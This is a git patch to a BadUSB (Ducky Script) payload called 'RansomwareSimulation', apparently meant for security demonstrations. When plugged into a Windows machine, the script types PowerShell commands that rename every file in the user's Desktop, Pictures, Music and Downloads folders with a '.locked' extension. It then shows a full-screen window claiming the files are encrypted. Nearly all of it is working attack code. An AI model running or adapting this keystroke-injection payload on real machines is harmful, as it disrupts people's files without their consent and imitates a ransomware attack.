From 6324f1929d1d305d43a6c2b921255a8a08c2cc22 Mon Sep 17 00:00:00 2001 From: Mark <148797232+MarkCyber@users.noreply.github.com> Date: Mon, 20 May 2024 11:54:43 -0400 Subject: [PATCH] Update 1. RansomwareSimulation --- 1. RansomwareSimulation | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/1. RansomwareSimulation b/1. RansomwareSimulation index bd78f10..aef5116 100644 --- a/1. RansomwareSimulation +++ b/1. RansomwareSimulation @@ -15,59 +15,77 @@ ENTER DELAY 3000 REM Define the locations using correct SpecialFolder enumerations STRING $folders = @( +DELAY 500 ENTER DELAY 500 STRING [System.Environment+SpecialFolder]::Desktop, +DELAY 500 ENTER DELAY 500 STRING [System.Environment+SpecialFolder]::MyPictures, +DELAY 500 ENTER DELAY 500 STRING [System.Environment+SpecialFolder]::MyMusic, +DELAY 500 ENTER DELAY 500 STRING [System.Environment+SpecialFolder]::Downloads +DELAY 500 ENTER DELAY 500 STRING ) +DELAY 500 ENTER DELAY 500 REM Iterate over each location STRING foreach ($folder in $folders) { +DELAY 500 ENTER DELAY 500 STRING $path = [Environment]::GetFolderPath($folder) +DELAY 500 ENTER DELAY 500 REM Get all files in the path and rename them STRING Get-ChildItem -Path $path -File | ForEach-Object { Rename-Item -Path $_.FullName -NewName ($_.Name + '.locked') } +DELAY 500 ENTER DELAY 500 STRING } +DELAY 500 ENTER DELAY 2000 REM Display ransomware message STRING Add-Type -AssemblyName PresentationFramework +DELAY 500 ENTER DELAY 500 STRING $Window = New-Object System.Windows.Window +DELAY 500 ENTER DELAY 500 STRING $Window.WindowStartupLocation = 'CenterScreen' +DELAY 500 ENTER DELAY 500 STRING $Window.WindowState = 'Maximized' +DELAY 500 ENTER DELAY 500 STRING $Window.Topmost = $true +DELAY 500 ENTER DELAY 500 STRING $Window.Content = 'Your files have been encrypted. This is a simulation. Please contact your IT support team.' +DELAY 500 ENTER DELAY 500 STRING $Window.ShowDialog() +DELAY 500 ENTER DELAY 2000 STRING exit +DELAY 500 ENTER REM check out my github at github.com/markcyber for more badusb tools